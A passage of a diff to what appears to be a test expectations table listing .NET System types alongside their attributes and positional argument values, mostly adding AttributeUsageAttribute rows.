[AttributeUsageAttribute(...)] | 0 | 5124 | | System.Diagnostics.Contracts.ContractClassAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractClassAttribute | [ConditionalAttribute(...)] | 0 | DEBUG | | System.Diagnostics.Contracts.ContractClassAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.ContractClassAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractClassForAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Diagnostics.Contracts.ContractClassForAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractClassForAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.ContractClassForAttribute | [NullableContextAttribute(...)] | 0 | 1 | @@ -1274,41 +1263,63 @@ attrArgPositional | System.Diagnostics.Contracts.ContractFailedEventArgs | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.ContractFailedEventArgs | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.Contracts.ContractFailureKind | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractOptionAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | | System.Diagnostics.Contracts.ContractOptionAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractOptionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.ContractOptionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [AttributeUsageAttribute(...)] | 0 | 192 | | System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractVerificationAttribute | [AttributeUsageAttribute(...)] | 0 | 237 | | System.Diagnostics.Contracts.ContractVerificationAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.PureAttribute | [AttributeUsageAttribute(...)] | 0 | 6884 | | System.Diagnostics.Contracts.PureAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Debug | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Debug | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.DebugProvider | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.DebugProvider | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggableAttribute | [AttributeUsageAttribute(...)] | 0 | 3 | | System.Diagnostics.Debugger | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Debugger | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerBrowsableAttribute | [AttributeUsageAttribute(...)] | 0 | 384 | +| System.Diagnostics.DebuggerDisplayAttribute | [AttributeUsageAttribute(...)] | 0 | 4509 | | System.Diagnostics.DebuggerDisplayAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.DebuggerDisplayAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerHiddenAttribute | [AttributeUsageAttribute(...)] | 0 | 224 | +| System.Diagnostics.DebuggerNonUserCodeAttribute | [AttributeUsageAttribute(...)] | 0 | 236 | +| System.Diagnostics.DebuggerStepThroughAttribute | [AttributeUsageAttribute(...)] | 0 | 108 | +| System.Diagnostics.DebuggerStepperBoundaryAttribute | [AttributeUsageAttribute(...)] | 0 | 96 | +| System.Diagnostics.DebuggerTypeProxyAttribute | [AttributeUsageAttribute(...)] | 0 | 13 | | System.Diagnostics.DebuggerTypeProxyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.DebuggerTypeProxyAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.DebuggerVisualizerAttribute | [AttributeUsageAttribute(...)] | 0 | 13 | | System.Diagnostics.DebuggerVisualizerAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.DebuggerVisualizerAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.StackFrame | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.StackFrame | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.StackTrace | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.StackTrace | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.StackTraceHiddenAttribute | [AttributeUsageAttribute(...)] | 0 | 108 | | System.Diagnostics.SymbolStore.ISymbolDocumentWriter | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Tracing.DiagnosticCounter | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.DiagnosticCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Diagnostics.Tracing.EventAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventChannelAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Diagnostics.Tracing.EventCounter | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.EventDataAttribute | [AttributeUsageAttribute(...)] | 0 | 12 | | System.Diagnostics.Tracing.EventDataAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventDataAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.Tracing.EventFieldAttribute | [AttributeUsageAttribute(...)] | 0 | 128 | +| System.Diagnostics.Tracing.EventIgnoreAttribute | [AttributeUsageAttribute(...)] | 0 | 128 | | System.Diagnostics.Tracing.EventListener | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventListener | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Tracing.EventListener.EventSourceCreated | [NullableAttribute(...)] | 0 | [2,1] | @@ -1319,6 +1330,7 @@ attrArgPositional | System.Diagnostics.Tracing.EventSource System.Diagnostics.Tracing.EventWrittenEventArgs.EventSource | [NullableAttribute(...)] | 0 | 1 | | System.Diagnostics.Tracing.EventSource.EventCommandExecuted | [NullableAttribute(...)] | 0 | [2,1] | | System.Diagnostics.Tracing.EventSource.EventData | [NullableContextAttribute(...)] | 0 | 0 | +| System.Diagnostics.Tracing.EventSourceAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Diagnostics.Tracing.EventSourceAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventSourceAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.Tracing.EventSourceCreatedEventArgs | [NullableAttribute(...)] | 0 | 0 | @@ -1331,6 +1343,7 @@ attrArgPositional | System.Diagnostics.Tracing.IncrementingEventCounter | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Tracing.IncrementingPollingCounter | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.IncrementingPollingCounter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Tracing.NonEventAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Diagnostics.Tracing.PollingCounter | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.PollingCounter | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Tracing.SessionMask | [DefaultMemberAttribute(...)] | 0 | Item | @@ -1368,6 +1381,7 @@ attrArgPositional | System.FieldAccessException | [NullableAttribute(...)] | 0 | 0 | | System.FieldAccessException | [NullableContextAttribute(...)] | 0 | 2 | | System.FieldAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.FlagsAttribute | [AttributeUsageAttribute(...)] | 0 | 16 | | System.FormatException | [NullableAttribute(...)] | 0 | 0 | | System.FormatException | [NullableContextAttribute(...)] | 0 | 2 | | System.FormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -1559,10 +1573,13 @@ attrArgPositional | System.InvalidTimeZoneException | [NullableContextAttribute(...)] | 0 | 2 | | System.InvalidTimeZoneException | [TypeForwardedFromAttribute(...)] | 0 | System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Lazy`1 | [DebuggerDisplayAttribute(...)] | 0 | ThreadSafetyMode={Mode}, IsValueCreated={IsValueCreated}, IsValueFaulted={IsValueFaulted}, Value={ValueForDebugDisplay} | +| System.Lazy`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.LazyDebugView`1 | | System.Lazy`1 | [NullableAttribute(...)] | 0 | 0 | | System.Lazy`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Lazy`2 | [NullableAttribute(...)] | 0 | [0,1] | | System.Lazy`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.MTAThreadAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.MarshalByRefObject | [ClassInterfaceAttribute(...)] | 0 | 1 | | System.MarshalByRefObject | [ComVisibleAttribute(...)] | 0 | True | | System.MarshalByRefObject | [NullableAttribute(...)] | 0 | 0 | | System.MarshalByRefObject | [NullableContextAttribute(...)] | 0 | 1 | @@ -1573,6 +1590,7 @@ attrArgPositional | System.Memory<!0> System.Buffers.MemoryManager`1.Memory | [NullableAttribute(...)] | 0 | [0,1] | | System.Memory<!0> System.Memory`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.Memory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.Memory`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.MemoryDebugView`1 | | System.Memory`1 | [NullableAttribute(...)] | 0 | 0 | | System.Memory`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.MethodAccessException | [NullableAttribute(...)] | 0 | 0 | @@ -1589,12 +1607,14 @@ attrArgPositional | System.MissingMethodException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.ModuleHandle | [NullableAttribute(...)] | 0 | 0 | | System.ModuleHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.MulticastDelegate | [ClassInterfaceAttribute(...)] | 0 | 0 | | System.MulticastDelegate | [ComVisibleAttribute(...)] | 0 | True | | System.MulticastDelegate | [NullableAttribute(...)] | 0 | 0 | | System.MulticastDelegate | [NullableContextAttribute(...)] | 0 | 1 | | System.MulticastNotSupportedException | [NullableAttribute(...)] | 0 | 0 | | System.MulticastNotSupportedException | [NullableContextAttribute(...)] | 0 | 2 | | System.MulticastNotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.NonSerializedAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.NotFiniteNumberException | [NullableAttribute(...)] | 0 | 0 | | System.NotFiniteNumberException | [NullableContextAttribute(...)] | 0 | 2 | | System.NotFiniteNumberException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -1610,6 +1630,8 @@ attrArgPositional | System.Nullable`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Number.BigInteger | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.Number.BigInteger | [ObsoleteAttribute(...)] | 1 | True | +| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | 0 | System.UInt32 | +| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | 1 | 115 | | System.Number.DiyFp | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.Number.DiyFp | [ObsoleteAttribute(...)] | 1 | True | | System.Number.NumberBuffer | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | @@ -1618,6 +1640,7 @@ attrArgPositional | System.ObjectDisposedException | [NullableAttribute(...)] | 0 | 0 | | System.ObjectDisposedException | [NullableContextAttribute(...)] | 0 | 1 | | System.ObjectDisposedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ObsoleteAttribute | [AttributeUsageAttribute(...)] | 0 | 6140 | | System.ObsoleteAttribute | [NullableAttribute(...)] | 0 | 0 | | System.ObsoleteAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.OperatingSystem | [NullableAttribute(...)] | 0 | 0 | @@ -1634,7 +1657,13 @@ attrArgPositional | System.OverflowException | [NullableAttribute(...)] | 0 | 0 | | System.OverflowException | [NullableContextAttribute(...)] | 0 | 2 | | System.OverflowException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ParamArrayAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | | System.ParamsArray | [DefaultMemberAttribute(...)] | 0 | Item | +| System.PlatformID.MacOSX | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.PlatformID.Win32S | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.PlatformID.Win32Windows | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.PlatformID.WinCE | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.PlatformID.Xbox | [EditorBrowsableAttribute(...)] | 0 | 1 | | System.PlatformNotSupportedException | [NullableAttribute(...)] | 0 | 0 | | System.PlatformNotSupportedException | [NullableContextAttribute(...)] | 0 | 2 | | System.PlatformNotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -1646,6 +1675,7 @@ attrArgPositional | System.RankException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.ReadOnlyMemory<!0> System.ReadOnlyMemory`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.ReadOnlyMemory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.ReadOnlyMemory`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.MemoryDebugView`1 | | System.ReadOnlyMemory`1 | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlyMemory`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.ReadOnlySpan<!0> System.ReadOnlyMemory`1.Span | [NullableAttribute(...)] | 0 | [0,1] | @@ -1655,6 +1685,7 @@ attrArgPositional | System.ReadOnlySpan<System.Byte> System.Text.UnicodeEncoding.Preamble | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlySpan<System.Byte> char.CategoryForLatin1 | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlySpan`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.ReadOnlySpan`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.SpanDebugView`1 | | System.ReadOnlySpan`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.ReadOnlySpan`1 | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlySpan`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -1669,38 +1700,57 @@ attrArgPositional | System.Reflection.Assembly | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.Assembly | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.Assembly.ModuleResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.AssemblyAlgorithmIdAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyCompanyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyCompanyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyCompanyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyConfigurationAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyConfigurationAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyConfigurationAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyCopyrightAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyCopyrightAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyCopyrightAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyCultureAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyCultureAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyCultureAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyDefaultAliasAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyDefaultAliasAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyDefaultAliasAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyDelaySignAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyDescriptionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyDescriptionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyDescriptionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyFileVersionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyFileVersionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyFileVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyFlagsAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyInformationalVersionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyInformationalVersionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyInformationalVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyKeyFileAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyKeyFileAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyKeyFileAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyKeyNameAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyKeyNameAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyKeyNameAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyMetadataAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyMetadataAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyMetadataAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyName | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyName | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.AssemblyProductAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyProductAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyProductAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblySignatureKeyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblySignatureKeyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblySignatureKeyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyTitleAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyTitleAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyTitleAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyTrademarkAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyTrademarkAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyTrademarkAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyVersionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Reflection.AssemblyVersionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.AssemblyVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.Binder | [NullableAttribute(...)] | 0 | 0 | @@ -1723,6 +1773,7 @@ attrArgPositional | System.Reflection.CustomAttributeNamedArgument | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.CustomAttributeTypedArgument | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.CustomAttributeTypedArgument | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.DefaultMemberAttribute | [AttributeUsageAttribute(...)] | 0 | 1036 | | System.Reflection.DefaultMemberAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.DefaultMemberAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.Emit.AssemblyBuilder | [NullableAttribute(...)] | 0 | 0 | @@ -1786,6 +1837,8 @@ attrArgPositional | System.Reflection.MemberInfo | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.MemberInfo | [NullableContextAttribute(...)] | 0 | 1 | | System.Reflection.MetadataEnumResult | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.MetadataEnumResult.smallResult | [FixedBufferAttribute(...)] | 0 | System.Int32 | +| System.Reflection.MetadataEnumResult.smallResult | [FixedBufferAttribute(...)] | 1 | 16 | | System.Reflection.MethodBase | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.MethodBase | [NullableContextAttribute(...)] | 0 | 2 | | System.Reflection.MethodBase System.Reflection.Emit.GenericTypeParameterBuilder.DeclaringMethod | [NullableAttribute(...)] | 0 | 2 | @@ -1800,6 +1853,8 @@ attrArgPositional | System.Reflection.Missing.Value | [NullableAttribute(...)] | 0 | 1 | | System.Reflection.Module | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.Module | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ObfuscateAssemblyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | 0 | 8157 | | System.Reflection.ObfuscationAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Reflection.ObfuscationAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Reflection.ParameterInfo | [NullableAttribute(...)] | 0 | 0 | @@ -1841,6 +1896,7 @@ attrArgPositional | System.Resources.MissingSatelliteAssemblyException | [NullableAttribute(...)] | 0 | 0 | | System.Resources.MissingSatelliteAssemblyException | [NullableContextAttribute(...)] | 0 | 2 | | System.Resources.MissingSatelliteAssemblyException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Resources.NeutralResourcesLanguageAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Resources.NeutralResourcesLanguageAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Resources.NeutralResourcesLanguageAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Resources.ResourceManager | [NullableAttribute(...)] | 0 | 0 | @@ -1848,6 +1904,7 @@ attrArgPositional | System.Resources.ResourceManager.MainAssembly | [NullableAttribute(...)] | 0 | 2 | | System.Resources.ResourceSet | [NullableAttribute(...)] | 0 | 0 | | System.Resources.ResourceSet | [NullableContextAttribute(...)] | 0 | 1 | +| System.Resources.SatelliteContractVersionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Resources.SatelliteContractVersionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Resources.SatelliteContractVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.AmbiguousImplementationException | [NullableAttribute(...)] | 0 | 0 | @@ -1855,12 +1912,16 @@ attrArgPositional | System.Runtime.AmbiguousImplementationException | [TypeForwardedFromAttribute(...)] | 0 | System.Runtime, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | | System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.AsyncIteratorMethodBuilder | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.AsyncIteratorMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | 0 | 5148 | | System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncStateMachineAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.CompilerServices.AsyncTaskMethodBuilder | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.AsyncTaskMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1 | [NullableAttribute(...)] | 0 | 0 | @@ -1871,20 +1932,36 @@ attrArgPositional | System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.AsyncVoidMethodBuilder | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.AsyncVoidMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | | System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.CallerFilePathAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.CompilerServices.CallerLineNumberAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.CompilerServices.CallerMemberNameAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.CompilerServices.CompilationRelaxationsAttribute | [AttributeUsageAttribute(...)] | 0 | 71 | +| System.Runtime.CompilerServices.CompilerGeneratedAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | +| System.Runtime.CompilerServices.CompilerGlobalScopeAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Runtime.CompilerServices.ConditionalWeakTable`2 | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ConditionalWeakTable`2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.ConditionalWeakTable`2.CreateValueCallback | [NullableContextAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ContractHelper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ContractHelper | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [NullableAttribute(...)] | 0 | [2,1] | +| System.Runtime.CompilerServices.CustomConstantAttribute | [AttributeUsageAttribute(...)] | 0 | 2304 | | System.Runtime.CompilerServices.CustomConstantAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.CustomConstantAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.DateTimeConstantAttribute | [AttributeUsageAttribute(...)] | 0 | 2304 | | System.Runtime.CompilerServices.DateTimeConstantAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.DateTimeConstantAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.DecimalConstantAttribute | [AttributeUsageAttribute(...)] | 0 | 2304 | +| System.Runtime.CompilerServices.DefaultDependencyAttribute | 